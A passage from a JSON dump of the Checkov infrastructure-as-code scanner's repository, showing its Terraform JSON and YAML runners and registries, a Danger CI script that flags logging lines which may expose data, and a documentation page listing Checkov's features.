in external_checks_dir:\n                    resource_registry.load_external_checks(directory)\n                    self.graph_registry.load_external_checks(directory)\n\n            # TODO: create function 'build_definitions_context()'\n            # self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw)\n\n            logger.info(\"Creating Terraform JSON graph\")\n            local_graph = self.graph_manager.build_graph_from_definitions(self.definitions)\n            logger.info(\"Successfully created Terraform JSON graph\")\n\n            self.graph_manager.save_graph(local_graph)\n\n            self.pbar.initiate(len(self.definitions))\n\n            # run Python checks\n            self.add_python_check_results(report=report, runner_filter=runner_filter)\n\n            # run graph checks\n            self.add_graph_check_results(report=report, runner_filter=runner_filter)\n\n        return report\n\n    def add_python_check_results(self, report: Report, runner_filter: RunnerFilter) -> None:\n        \"\"\"Adds Python check results to given report\"\"\"\n\n        for full_file_path, definition in self.definitions.items():\n            scanned_file = f\"/{os.path.relpath(full_file_path, self.root_folder)}\"\n            logger.debug(f\"Scanning file: {scanned_file}\")\n            self.pbar.set_additional_data({\"Current File Scanned\": scanned_file})\n            for block_type in definition.keys():\n                if block_type in self.block_type_registries:\n                    self.run_block(\n                        entities=definition[block_type],\n                        definition_context={},\n                        full_file_path=full_file_path,\n                        root_folder=self.root_folder,\n                        report=report,\n                        scanned_file=scanned_file,\n                        block_type=block_type,\n                        runner_filter=runner_filter,\n                    )\n\n            self.pbar.update()\n        self.pbar.close()\n\n    def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None:\n        \"\"\"Adds YAML check results to given report\"\"\"\n\n        checks_results = self.run_graph_checks_results(\n            runner_filter=runner_filter, report_type=CheckType.TERRAFORM_JSON\n        )\n\n        for check, check_results in checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path = entity[CustomAttributes.FILE_PATH]\n\n                clean_check_result: \"_CheckResult\" = {\n                    \"result\": check_result[\"result\"],\n                    \"evaluated_keys\": check_result[\"evaluated_keys\"],\n                }\n\n                file_code_lines = self.definitions_raw[entity_file_path]\n                start_line = entity[START_LINE]\n                end_line = entity[END_LINE]\n                scanned_file = f\"/{os.path.relpath(entity_file_path, self.root_folder)}\"\n\n                record = Record(\n                    check_id=check.id,\n                    bc_check_id=check.bc_id,\n                    check_name=check.name,\n                    check_result=clean_check_result,\n                    code_block=file_code_lines[start_line - 1 : end_line],\n                    file_path=scanned_file,\n                    file_line_range=[start_line, end_line],\n                    resource=entity[CustomAttributes.ID],\n                    check_class=check.__class__.__module__,\n                    file_abs_path=str(entity_file_path),\n                    evaluations=None,\n                    severity=check.severity,\n                )\n                if self.breadcrumbs:\n                    breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource)\n                    if breadcrumb:\n                        record = GraphRecord(record, breadcrumb)\n                record.set_guideline(guideline=check.guideline)\n                report.add_record(record=record)\n\n    def run_block(\n        self,\n        entities: list[dict[str, Any]],\n        definition_context: _TerraformJsonContext,\n        full_file_path: str,\n        root_folder: str | None,\n        report: Report,\n        scanned_file: str,\n        block_type: str,\n        runner_filter: RunnerFilter | None = None,\n        entity_context_path_header: str | None = None,\n        module_referrer: str | None = None,\n    ) -> None:\n        \"\"\"Run block specific checks\"\"\"\n\n        runner_filter = runner_filter or RunnerFilter()\n        registry = self.block_type_registries[block_type]\n        if registry:\n            for entity in entities:\n                _, entity_name, entity_config = registry.extract_entity_details(entity)\n\n                start_line = entity_config[START_LINE]\n                end_line = entity_config[END_LINE]\n                entity_id = f\"{block_type}.{entity_name}\"\n                entity_lines_range = [start_line, end_line]\n                entity_code_lines = self.definitions_raw[full_file_path][start_line - 1 : end_line]\n\n                results = registry.scan(scanned_file, entity, [], runner_filter, report_type=CheckType.TERRAFORM_JSON)\n                for check, check_result in results.items():\n                    censored_code_lines = omit_secret_value_from_checks(\n                        check=check,\n                        check_result=check_result,\n                        entity_code_lines=entity_code_lines,\n                        entity_config=entity_config,\n                        resource_attributes_to_omit=runner_filter.resource_attr_to_omit,\n                    )\n                    record = Record(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=check_result,\n                        code_block=censored_code_lines,\n                        file_path=scanned_file,\n                        file_line_range=entity_lines_range,\n                        resource=entity_id,\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=full_file_path,\n                        severity=check.severity,\n                        details=check.details,\n                    )\n                    record.set_guideline(guideline=check.guideline)\n                    report.add_record(record=record)\n\n    def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None:\n        # not used\n        pass\n"
  },
  {
    "path": "checkov/terraform_json/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport re\nfrom collections.abc import Collection\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.terraform_json.parser import parse\n\nTF_JSON_POSSIBLE_FILE_ENDINGS = (\".tf.json\",)\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef get_scannable_file_paths(\n    root_folder: str | Path | None = None, files: list[str] | None = None, excluded_paths: list[str] | None = None\n) -> set[Path]:\n    \"\"\"Finds Terraform JSON files\"\"\"\n\n    file_paths: set[Path] = set()\n\n    if root_folder:\n        root_path = Path(root_folder)\n        file_paths = {\n            file_path\n            for file_ending in TF_JSON_POSSIBLE_FILE_ENDINGS\n            for file_path in root_path.rglob(f\"*{file_ending}\")\n            if file_path.is_file()\n        }\n\n        if excluded_paths:\n            compiled = [re.compile(p.replace(\".terraform\", r\"\\.terraform\")) for p in excluded_paths]\n            file_paths = {\n                file_path for file_path in file_paths if not any(pattern.search(str(file_path)) for pattern in compiled)\n            }\n    if files:\n        for file in files:\n            if file.endswith(TF_JSON_POSSIBLE_FILE_ENDINGS):\n                file_paths.add(Path(file))\n\n    return file_paths\n\n\ndef create_definitions(\n    file_paths: Collection[Path],\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]], list[str]]:\n    \"\"\"Creates dict objects and code lines for given files\"\"\"\n\n    logger.info(f\"Start to parse {len(file_paths)} files\")\n\n    definitions: \"dict[str, dict[str, Any]]\" = {}\n    definitions_raw: \"dict[str, list[tuple[int, str]]]\" = {}\n    parsing_errors: \"list[str]\" = []\n\n    for file_path in file_paths:\n        template, file_lines = parse(file_path)\n        if template and file_lines:\n            file_path_str = str(file_path)\n            definitions[file_path_str] = template\n            definitions_raw[file_path_str] = file_lines\n        else:\n            parsing_errors.append(str(file_path.resolve()))\n\n    logging.info(f\"Successfully parsed {len(definitions)} files\")\n\n    return definitions, definitions_raw, parsing_errors\n"
  },
  {
    "path": "checkov/version.py",
    "content": "version = '3.2.510'\n"
  },
  {
    "path": "checkov/yaml_doc/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/yaml_doc/base_registry.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any, Dict, List, cast\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import _SkippedCheck, _ScannerCallableAlias\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.yaml_doc.enums import BlockType\nimport jmespath\n\nSTARTLINE_MARK = \"__startline__\"\n\nENDLINE_MARK = \"__endline__\"\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self, report_type: str) -> None:\n        super().__init__(report_type=report_type)\n        self._scanner: dict[str, _ScannerCallableAlias] = {\n            BlockType.ARRAY: self._scan_yaml_array,\n            BlockType.OBJECT: self._scan_yaml_object,\n        }\n\n    def _scan_yaml_array(\n        self,\n        scanned_file: str,\n        check: BaseCheck,\n        skip_infos: list[_SkippedCheck],\n        entity: Dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: Dict[str, Any],\n    ) -> None:\n        if isinstance(entity, dict):\n            analyzed_entities = jmespath.search(entity_type, entity)\n            if isinstance(analyzed_entities, dict):\n                for item, item_conf in analyzed_entities.items():\n                    if STARTLINE_MARK != item and ENDLINE_MARK != item:\n                        self.update_result(\n                            check=check,\n                            entity_configuration=cast(\"dict[str, Any]\", item_conf),\n                            entity_name=item,\n                            entity_type=entity_type,\n                            results=results,\n                            scanned_file=scanned_file,\n                            skip_info=skip_infos[0],\n                        )\n            if isinstance(analyzed_entities, list):\n                for item in analyzed_entities:\n                    if isinstance(item, str):\n                        item = self.set_lines_for_item(item)\n                    if STARTLINE_MARK != item and ENDLINE_MARK != item:\n                        skip_info = self._collect_inline_suppression_in_array(item=item, skip_infos=skip_infos)\n\n                        self.update_result(\n                            check,\n                            item,\n                            entity_type,\n                            entity_type,\n                            results,\n                            scanned_file,\n                            skip_info\n                        )\n        if isinstance(entity, list):\n            analyzed_entities = jmespath.search(entity_type, entity)\n            if isinstance(analyzed_entities, list):\n                for item in analyzed_entities:\n                    if isinstance(item, str):\n                        item = self.set_lines_for_item(item)\n                    if STARTLINE_MARK != item and ENDLINE_MARK != item:\n                        skip_info = {}\n                        if skip_infos and skip_infos[0]:\n                            # multiple items could be found, so we need to skip the correct one(s)\n                            skip_info = ([skip for skip in skip_infos if item[STARTLINE_MARK] <= skip[\"line_number\"] <= item[ENDLINE_MARK]] or [{}])[0]\n\n                        self.update_result(\n                            check,\n                            item,\n                            entity_type,\n                            entity_type,\n                            results,\n                            scanned_file,\n                            skip_info\n                        )\n            else:\n                for item in entity:\n                    if entity_name in item:\n                        result = self.update_result(\n                            check,\n                            item[entity_name],\n                            entity_name,\n                            entity_type,\n                            results,\n                            scanned_file,\n                            skip_infos[0]\n                        )\n                        if result == CheckResult.FAILED:\n                            break\n\n    def _scan_yaml_object(\n        self,\n        scanned_file: str,\n        check: BaseCheck,\n        skip_infos: list[_SkippedCheck],\n        entity: Dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: Dict[str, Any],\n    ) -> None:\n        if entity_name in entity:\n            self.update_result(\n                check,\n                entity[entity_name],\n                entity_name,\n                entity_type,\n                results,\n                scanned_file,\n                skip_infos[0]\n            )\n\n    def _scan_yaml_document(\n        self,\n        scanned_file: str,\n        check: BaseCheck,\n        skip_info: list[_SkippedCheck],\n        entity: Dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: Dict[str, Any],\n    ) -> None:\n        self.update_result(\n            check,\n            entity,\n            entity_name,\n            entity_type,\n            results,\n            scanned_file,\n            skip_info[0]\n        )\n\n    def _scan_yaml(\n            self,\n            scanned_file: str,\n            checks: List[BaseCheck],\n            skipped_checks: List[_SkippedCheck],\n            runner_filter: RunnerFilter,\n            entity: Dict[str, Any],\n            entity_name: str,\n            entity_type: str,\n            results: Dict[str, Any],\n    ) -> None:\n        for check in checks:\n            skip_infos: \"list[_SkippedCheck]\" = [{}]\n            if isinstance(entity, dict):\n                skip_infos = [\n                    skip\n                    for skip in skipped_checks\n                    if skip[\"id\"] == check.id and entity[STARTLINE_MARK] <= skip[\"line_number\"] <= entity[ENDLINE_MARK]\n                ] or [{}]\n            elif isinstance(entity, list):\n                skip_infos = [\n                    skip\n                    for skip in skipped_checks\n                    for e in entity\n                    if skip[\"id\"] == check.id and e[STARTLINE_MARK] <= skip['line_number'] <= e[ENDLINE_MARK]\n                ] or [{}]\n            else:\n                logging.info(f\"Unexpected entity type {type(entity)} for {entity}\")\n\n            if runner_filter.should_run_check(check=check, report_type=self.report_type):\n                scanner = self._scanner.get(check.block_type, self._scan_yaml_document)\n                if check.path:\n                    target = entity\n                    for p in check.path.split(\".\"):\n                        if p.endswith(\"]\"):\n                            ip = p.split(\"[\")\n                            i = int(ip[1][:-1])\n                            target = target[ip[0]][i]\n                        else:\n                            target = target[p]\n                else:\n                    target = entity\n\n                scanner(\n                    scanned_file,\n                    check,\n                    skip_infos,\n                    target,\n                    entity_name,\n                    entity_type,\n                    results,\n                )\n\n    def scan(  # type:ignore[override]  # return type is different than the base class\n            self,\n            scanned_file: str,\n            entity: Dict[str, Any],\n            skipped_checks: List[_SkippedCheck],\n            runner_filter: RunnerFilter\n    ) -> Dict[str, Any]:\n        results: Dict[str, Any] = {}\n\n        if not entity:\n            return results\n\n        for instruction, checks in self.checks.items():\n            self._scan_yaml(\n                scanned_file=scanned_file,\n                checks=checks,\n                skipped_checks=skipped_checks,\n                runner_filter=runner_filter,\n                entity=entity,\n                entity_name=instruction,\n                entity_type=instruction,\n                results=results,\n            )\n\n        if self.wildcard_checks:\n            for wildcard_pattern, checks in self.wildcard_checks.items():\n                self._scan_yaml(\n                    scanned_file=scanned_file,\n                    checks=checks,\n                    skipped_checks=skipped_checks,\n                    runner_filter=runner_filter,\n                    entity=entity,\n                    entity_name=scanned_file,\n                    entity_type=wildcard_pattern,\n                    results=results,\n                )\n\n        return results\n\n    def update_result(\n            self,\n            check: BaseCheck,\n            entity_configuration: dict[str, Any],\n            entity_name: str,\n            entity_type: str,\n            results: Dict[str, Any],\n            scanned_file: str,\n            skip_info: _SkippedCheck\n    ) -> CheckResult:\n        check_result = self.run_check(\n            check,\n            entity_configuration,\n            entity_name,\n            entity_type,\n            scanned_file,\n            skip_info,\n        )\n        result_key = self.get_result_key(check,\n                                         entity_configuration,\n                                         entity_name,\n                                         entity_type,\n                                         scanned_file,\n                                         skip_info)\n\n        result = check_result[\"result\"]\n\n        if isinstance(result, CheckResult) and result == CheckResult.SKIPPED:\n            results[result_key] = {\n                \"check\": check,\n                \"result\": result,\n                \"suppress_comment\": check_result[\"suppress_comment\"],\n                \"results_configuration\": entity_configuration,\n            }\n            return result\n\n        if isinstance(result, tuple):\n            results[result_key] = {\n                \"check\": check,\n                \"result\": result[0],\n                \"results_configuration\": result[1],\n            }\n            return result[0]\n        results[result_key] = {\n            \"check\": check,\n            \"result\": result,\n            \"results_configuration\": entity_configuration,\n        }\n        return result\n\n    def get_result_key(self, check: BaseCheck,\n                       entity_configuration: dict[str, Any],\n                       entity_name: str,\n                       entity_type: str,\n                       scanned_file: str,\n                       skip_info: _SkippedCheck) -> str:\n        if isinstance(entity_configuration, dict) and STARTLINE_MARK in entity_configuration and ENDLINE_MARK in entity_configuration:\n            return f'{entity_type}.{entity_name}.{check.id}[{entity_configuration[STARTLINE_MARK]}:{entity_configuration[ENDLINE_MARK]}]'\n\n        if isinstance(entity_configuration, list):\n            start_line = None\n            end_line = None\n            for sub_conf in entity_configuration:\n                if STARTLINE_MARK in sub_conf and ENDLINE_MARK in sub_conf:\n                    subconf_startline = sub_conf[STARTLINE_MARK]\n                    sub_conf_endline = sub_conf[ENDLINE_MARK]\n                    if not start_line:\n                        start_line = subconf_startline\n                    if not end_line:\n                        end_line = sub_conf_endline\n                    if sub_conf_endline > end_line:\n                        end_line = sub_conf_endline\n                    if subconf_startline < start_line:\n                        start_line = subconf_startline\n            if start_line and end_line:\n                return f'{entity_type}.{entity_name}.{check.id}[{start_line}:{end_line}]'\n\n        return f'{entity_type}.{entity_name}.{check.id}'\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:\n        # not used, but is an abstractmethod\n        return \"\", \"\", {}\n\n    def set_lines_for_item(self, item: str) -> dict[int | str, str | int] | str:\n        if not self.definitions_raw:\n            return item\n\n        item_lines = item.rstrip().split(\"\\n\")\n        item_dict: dict[int | str, str | int] = {\n            idx: line for idx, line in enumerate(item_lines)\n        }\n\n        if len(item_lines) == 1:\n            item_line = item_lines[0]\n            for idx, line in self.definitions_raw:\n                if item_line in line:\n                    item_dict[STARTLINE_MARK] = idx\n                    item_dict[ENDLINE_MARK] = idx\n            return item_dict\n\n        first_line, last_line = item_lines[0], item_lines[-1]\n        for idx, line in self.definitions_raw:\n            if first_line in line:\n                item_dict[STARTLINE_MARK] = idx\n                continue\n\n            if last_line in line:\n                item_dict[ENDLINE_MARK] = idx\n                break\n\n        return item_dict\n\n    def _collect_inline_suppression_in_array(self, item: Any, skip_infos: list[_SkippedCheck]) -> _SkippedCheck:\n        if skip_infos and skip_infos[0]:\n            if isinstance(item, dict):\n                # multiple items could be found, so we need to skip the correct one(s)\n                skip_info = [\n                    skip for skip in skip_infos if item[STARTLINE_MARK] <= skip[\"line_number\"] <= item[ENDLINE_MARK]\n                ]\n                if skip_info:\n                    return skip_info[0]\n            elif isinstance(item, list):\n                # depending on the check a list of uncomplaint items can be found and need to be correctly matched\n                for sub_item in item:\n                    if isinstance(sub_item, dict):\n                        # only one of the list items need to be matched\n                        skip_info = [\n                            skip\n                            for skip in skip_infos\n                            if sub_item[STARTLINE_MARK] <= skip[\"line_number\"] <= sub_item[ENDLINE_MARK]\n                        ]\n                        if skip_info:\n                            return skip_info[0]\n\n        return {}  # nothing found\n"
  },
  {
    "path": "checkov/yaml_doc/base_yaml_check.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Iterable\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories\n\nfrom checkov.yaml_doc.registry import registry\n\n\nclass BaseYamlCheck(BaseCheck):\n    def __init__(\n        self, name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        block_type: str,\n        path: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n"
  },
  {
    "path": "checkov/yaml_doc/enums.py",
    "content": "from enum import Enum\n\n\nclass BlockType(str, Enum):\n    DOCUMENT = \"yamldocument\"\n    OBJECT = \"yamlobject\"\n    ARRAY = \"yamlarray\"\n    SCALAR = \"yamlscalar\"\n"
  },
  {
    "path": "checkov/yaml_doc/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.YAML)\n"
  },
  {
    "path": "checkov/yaml_doc/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.parsers.yaml.parser import parse\nfrom checkov.common.runners.object_runner import Runner as ObjectRunner\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.typing import LibraryGraphConnector\n    from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\n    from checkov.common.runners.graph_manager import ObjectGraphManager\n\n\nclass Runner(ObjectRunner):\n    check_type = CheckType.YAML  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = \"yaml\",\n        graph_class: type[ObjectLocalGraph] | None = None,\n        graph_manager: ObjectGraphManager | None = None,\n    ) -> None:\n        super().__init__(\n            db_connector=db_connector,\n            source=source,\n            graph_class=graph_class,\n            graph_manager=graph_manager,\n        )\n        self.file_extensions = ['.yaml', '.yml']\n\n    def import_registry(self) -> BaseCheckRegistry:\n        from checkov.yaml_doc.registry import registry\n\n        return registry\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        return parse(f, file_content)\n\n    def get_start_end_lines(\n        self, end: int, result_config: dict[str, Any] | list[dict[str, Any]], start: int\n    ) -> tuple[int, int]:\n        if result_config and isinstance(result_config, list):\n            if not isinstance(result_config[0], dict):\n                return -1, -1\n            start = result_config[0][\"__startline__\"] - 1\n            end = result_config[len(result_config) - 1][\"__endline__\"]\n        elif result_config and isinstance(result_config, dict):\n            if \"__startline__\" not in result_config or \"__endline__\" not in result_config:\n                return -1, -1\n            start = result_config[\"__startline__\"]\n            end = result_config[\"__endline__\"]\n        return end, start\n\n    @staticmethod\n    def resolve_sub_name(definition: dict[str, Any], start_line: int, end_line: int, tag: str) -> str:\n        \"\"\"\n        extract the value of the tag, that is within the line of range(start_line, end_line)\n\n        >>> Runner.resolve_sub_name({\"executors\":{\"image-executor\":{\"docker\":[],\"__startline__\":8,\"__endline__\":11}}}, 9, 11, 'executors')\n        'image-executor'\n\n        >>> Runner.resolve_sub_name({\"jobs\":{\"job-name\":{\"docker\":[],\"__startline__\":13,\"__endline__\":20}}}, 15, 16, 'jobs')\n        'job-name'\n        \"\"\"\n        if not definition:\n            return \"\"\n        tag_value = definition.get(tag) or {}\n        for key, sub_name in tag_value.items():\n            if key in (START_LINE, END_LINE) or not isinstance(sub_name, dict):\n                continue\n            if sub_name[START_LINE] <= start_line <= end_line <= sub_name[END_LINE]:\n                return str(key)\n        return \"\"\n\n    @staticmethod\n    def resolve_step_name(job_definition: dict[str, Any], start_line: int, end_line: int) -> str:\n        \"\"\"\n        extract the step name from the given job within the line of range(start_line, end_line)\n\n        >>> Runner.resolve_step_name({\"steps\":[\"checkout\",{}],\"__startline__\":42,\"__endline__\":49}, 48, 49)\n        '[1](checkout)'\n\n        >>> Runner.resolve_step_name({\"runs-on\":\"ubuntu-latest\",\"steps\":[{\"uses\":\"actions/checkout@v2\",\"__startline__\":22,\"__endline__\":23}]}, 22, 23)\n        '[1]'\n\n        >>> Runner.resolve_step_name({\"runs-on\":\"ubuntu-latest\",\"steps\":[{\"name\": \"ab\",\"__startline__\":22,\"__endline__\":23}, {\"name\":\"step_name\",\"__startline__\":23,\"__endline__\":33}]}, 23, 33)\n        '[2](step_name)'\n\n        \"\"\"\n        if not job_definition:\n            return \"\"\n        for idx, step in enumerate([step for step in job_definition.get('steps') or [] if step]):\n            if isinstance(step, str):\n                return f\"[{idx + 1}]({step})\"\n            elif isinstance(step, dict):\n                if step[START_LINE] <= start_line <= end_line <= step[END_LINE]:\n                    name = step.get('name')\n                    return f\"[{idx + 1}]({name})\" if name else f\"[{idx + 1}]\"\n        return \"\"\n\n    @staticmethod\n    def resolve_image_name(image_definition: dict[str, Any], start_line: int, end_line: int) -> str:\n        \"\"\"\n        extract the image name from the given job definition within the line of range(start_line, end_line)\n\n        >>> Runner.resolve_image_name({\"docker\":[{\"image\":\"mongo:2.6.8\",\"__startline__\":15,\"__endline__\":16}]}, 15, 16)\n        '[1](mongo:2.6.8)'\n\n        \"\"\"\n        if not image_definition:\n            return \"\"\n        for idx, step in enumerate([step for step in image_definition.get('docker') or [] if step]):\n            if isinstance(image_definition.get('docker'), dict):\n                if step == 'image':\n                    return f\"[{idx + 1}]({image_definition['docker'][step]})\"\n            if isinstance(step, str):\n                return f\"[{idx + 1}]({step})\"\n            elif isinstance(step, dict):\n                if step[START_LINE] <= start_line <= end_line <= step[END_LINE]:\n                    name = step.get('image')\n                    return f\"[{idx + 1}]({name})\" if name else f\"[{idx + 1}]\"\n        return \"\"\n"
  },
  {
    "path": "dangerfile.ts",
    "content": "const { danger, fail, schedule, warn } = require('danger');\n\nconst IGNORE_VAR = [\n  'key', 's3_key', 's3_file_key', 'local_file_path', 'self.s3_bucket', 'e', 'error', 'str(e)', 'path', 'customer_name',\n  'name', 'self.framework', 'framework', 'self.graph_framework', 'file_path', 'zip_path', 'object_path',\n  'definitions_context_object_path', 'root_folder', 'bucket', 'source_id', 'num_vertices',\n  'num_edges', 'file_name', 'tmp_folder', 'self.bucket_name', 'repository_zip_path', 'file_size_in_mb',\n  'repository_zip_path', 'event', 'block_type', 'block_name', 'graph_framework', 'custom_policies', 'checkov_check_id',\n  'start_time', 'datetime.now()', 'framework.name', 'str(framework)', 'entity_id', 'full_file_path'\n];\n\nconst START_END_IGNORE = [\n  'path', 'len(', 'enable_', 'datetime', 'key', 'id', '_ids',\n];\n\nconst LOGGING_LEVEL_PY = [\n  'logging.warning', 'logging.debug', 'logging.info', 'logging.error', 'logging.warn', 'logger.info',\n  'logger.warning', 'logger.debug', 'logger.error', 'logger.warn', 'self.logger.info',\n  'self.logger.warning', 'self.logger.debug', 'self.logger.error', 'self.logger.warn',\n];\n\nconst FIND_LOGGING_LEVEL_PY = new RegExp(`(?:${LOGGING_LEVEL_PY.join('|')})`, 'g');\nconst VAR_IN_LOG = '\\\\{([^}]*)\\\\}';\nconst VAR_IN_FUNC = '\\\\((.*?)\\\\)';\nconst PY_MASK_STR = 'extra={\"mask\": True}'\nconst FIND_CODE_INSIDE_BRACES_OR_AFTER_COMMA = /^.*\\{[^}]*code[^}]*\\}.*|.*,.*code.*/;\nconst FSTRING_PATTERN = /f([\"'])(.*?{.*?}.*?)(\\1)/;\nconst SUPPORTED_EXTENSIONS = ['.py'];\nconst EXCLUDED_FILES = ['__init__.py', 'dangerfile.ts'];\nconst IGNORE_COMMENT = '# danger:ignore'\n\nfunction varMayContainData(varString) {\n  if (IGNORE_VAR.includes(varString)) return false;\n  if (START_END_IGNORE.some((ignore) => varString.trim().startsWith(ignore) || varString.trim().endsWith(ignore))) return false;\n  if (varString.includes('json.dump')) {\n    const varInDump = varString.match(/\\((.*?)\\)/)?.[1];\n    if (varInDump && IGNORE_VAR.includes(varInDump)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nasync function failIfLoggingLineContainsSensitiveData() {\n  const dangerousFiles = [];\n  const changedFiles = danger.git.modified_files.concat(danger.git.created_files);\n  const shouldProcessFile = (filePath) => {\n    const fileExtension = filePath.substring(filePath.lastIndexOf('.'));\n    if (SUPPORTED_EXTENSIONS.includes(fileExtension)) {\n      const fileName = filePath.substring(filePath.lastIndexOf('/') + 1);\n      if (!EXCLUDED_FILES.includes(fileName)) return true;\n    }\n    return false;\n  };\n\n  const processFile = async (filePath) => {\n    if (!shouldProcessFile(filePath)) return;\n    try {\n      const fileDiff = await danger.git.diffForFile(filePath);\n      const addedLinesLength = fileDiff.added.split('\\n');\n      const removedLinesLength = fileDiff.removed.split('\\n');\n      const allLines = [...addedLinesLength, ...removedLinesLength];\n      for (let line of allLines) {\n        if (FIND_LOGGING_LEVEL_PY.test(line) && FSTRING_PATTERN.test(line) && !line.includes(PY_MASK_STR) && !line.includes(IGNORE_COMMENT)) {\n          if (FIND_CODE_INSIDE_BRACES_OR_AFTER_COMMA.test(line)) {\n            const varsInLog = line.match(VAR_IN_LOG) || line.match(VAR_IN_FUNC)?.[1].split(',').slice(1) || [];\n            for (const varString of varsInLog) {\n              if (varMayContainData(varString)) {\n                dangerousFiles.push(`file path:${filePath}, line: ${line}`);\n                break;\n              }\n            }\n          }\n        }\n      }\n    } catch (e) {\n      console.error(`Error reading file: ${filePath}, Error message: ${e}`);\n    }\n  };\n  await Promise.all(changedFiles.map(async (filePath) => processFile(filePath)));\n  if (dangerousFiles.length > 0) {\n    const failureMessage = 'Logging lines with sensitive data detected, please review the following files:';\n    const fileList = dangerousFiles.join('\\n');\n    fail(`${failureMessage}\\n${fileList}`);\n  }\n}\n\nschedule(failIfLoggingLineContainsSensitiveData);\n\nasync function alertPublicInterfaces() {\n    let changedFiles = danger.git.modified_files || [];\n\n    for (const changedFile of changedFiles) {\n        if (changedFile.endsWith(\"report_types.py\")) {\n            fail(\"You've changed `report_types.py` file, that contains the contract for checkov input and output. Make sure to stay backwards compatible.\")\n        }\n        if (changedFile.endsWith(\"report.py\") && !changedFile.includes(\"test\")) {\n            fail(\"You've changed `report.py` file, that contains the contract for checkov input and output. Make sure to stay backwards compatible.\")\n        }\n    }\n}\n\nschedule(alertPublicInterfaces)\n"
  },
  {
    "path": "docs/1.Welcome/Feature Descriptions.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Feature Descriptions\nnav_order: 4\n---\n\n# Feature Descriptions\n\nWith Checkov you can:\n\n* Run a variety of scan types\n* Enable Checkov to run as part of your CI/CD workflow\n* Create and contribute custom Checkov policies\n\n## Running Checkov\n\nWith Checkov you can scan a repository, branch, folder, or a single file with attribute-based misconfigurations or connection state errors. See [CLI Command Reference](https://www.checkov.io/2.Basics/CLI%20Command%20Reference.html).\n\nWhen running Checkov, you can also:\n\n* [Review scan results](https://www.checkov.io/2.Basics/Reviewing%20Scan%20Results.html)\n* [Suppress or skip](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html)\n* [Scan credentials and secrets](https://www.checkov.io/2.Basics/Scanning%20Credentials%20and%20Secrets.html)\n* [Scan Kubernetes clusters](https://www.checkov.io/4.Integrations/Kubernetes.html)\n* [Scan Terraform plan output and 3rd party modules](https://www.checkov.io/7.Scan%20Examples/Terraform%20Plan%20Scanning.html)\n\n## Integrating with CI/CD\nIn addition to integrating with your code repository, Checkov can also integrate with your automated build pipeline via CI/CD providers. When your build tests run, Checkov will scan your infrastructure as code files for misconfigurations and you can review the output directly in your CI pipeline.\n\n* [Integrate with Jenkins](https://www.checkov.io/4.Integrations/Jenkins.html)\n* [Integrate with Bitbucket Cloud Pipelines](https://www.checkov.io/4.Integrations/Bitbucket%20Cloud%20Pipelines.html)\n* [Integrate with Github Actions](https://www.checkov.io/4.Integrations/GitHub%20Actions.html)\n* [Integrate with Gitlab CI](https://www.checkov.io/4.Integrations/GitLab%20CI.html)\n\n## Custom Policies\n\n* [Create custom Python attribute policies](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html)\n* [Create custom YAML attribute and composite policies](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html)\n* [Custom policy examples](https://www.checkov.io/3.Custom%20Policies/Examples.html)\n* [Share custom policies across repos](https://www.checkov.io/3.Custom%20Policies/Sharing%20Custom%20Policies.html)\n"
  },
  {
    "path": "docs/1.Welcome/Migration.md",
